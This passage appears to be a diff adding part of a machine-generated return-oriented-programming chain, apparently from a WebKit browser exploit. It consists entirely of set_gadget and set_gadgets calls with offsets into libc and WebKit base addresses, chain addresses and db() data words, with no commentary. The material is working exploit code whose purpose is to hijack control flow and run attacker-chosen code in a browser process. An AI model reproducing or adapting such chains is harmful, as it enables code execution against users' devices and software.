+set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+132248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+132264, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+132232, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+8949069, +libc_base+232261, +libc_base+713278, +ropchain+132440, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+132456, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+132424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+132600, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+132632, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+132568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+350006, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+132752, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+132744, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+132768, +ropchain+137032, +libc_base+713278, +ropchain+132824, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+132912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+132928, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+133072, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+133088, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+133056, +webkit_base+4687784, +libc_base+713278 +]); +db([36, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+133176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+133192, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+133352, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+133384, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+133336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+133368, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+133464, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+133480, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+133576, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+133560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+133672, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+133760, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+133776, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+133920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+133936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+133904, +webkit_base+4687784, +libc_base+713278 +]); +db([12, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+134024, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+134040, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+134200, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+134232, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+134184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+134216, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+134312, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+134328, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+134456, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+134472, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+134440, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+8949069, +libc_base+232261, +libc_base+713278, +ropchain+134648, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+134664, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+134632, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+134808, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+134840, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+134776, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+134952, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+134944, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+134968, +ropchain+136656, +libc_base+713278, +ropchain+135024, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+135112, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+135128, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+135288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+135320, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+135272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+135304, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+135400, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+135416, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+135576, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+135528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+135544, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+135632, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+135744, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+135776, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+135760, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+135856, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+135872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+135968, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+135952, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+136064, +webkit_base+4687784, +libc_base+768796 +]); +db([10, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([10, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+136208, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+136224, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+136192, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+136400, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+136416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+136384, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+136560, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+136576, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+136528, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+136648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+863109, +libc_base+713278, +ropchain+136776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+136792, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+136760, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+136936, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+136952, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+136904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+137024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+863109, +libc_base+713278, +ropchain+137152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+137168, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+137136, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+137296, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+137328, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+137312, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+137440, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+137432, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+137456, +ropchain+139800, +libc_base+713278, +ropchain+137512, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+137600, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+137616, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+137776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+137808, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+137760, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+137792, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+137888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+137904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+138064, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+138016, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+138032, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([56, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+138168, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+138152, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+138264, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+138352, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+138368, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+138448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+138464, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+138608, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+138576, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+138592, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+138696, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+138800, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+138888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+138904, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+139008, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+138992, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+139064, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+139184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+139240, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+887232, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+139384, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+139352, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([56, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+139520, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+139536, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+139504, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+139640, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+139656, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+139776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+139760, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+489696, +ropchain+141248, +libc_base+713278, +ropchain+139856, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+139944, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+139960, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+140104, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+140072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+140088, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+140200, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+140288, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+140304, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+140464, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+140496, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+140448, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+140480, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+140592, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+140576, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+140696, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+141576, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+140840, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+140856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+140824, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+140984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+141000, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+140968, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+141104, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+141120, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+141240, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+141224, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+141328, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+141312, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+141432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+141448, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+141568, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+141552, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +__swbuf_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 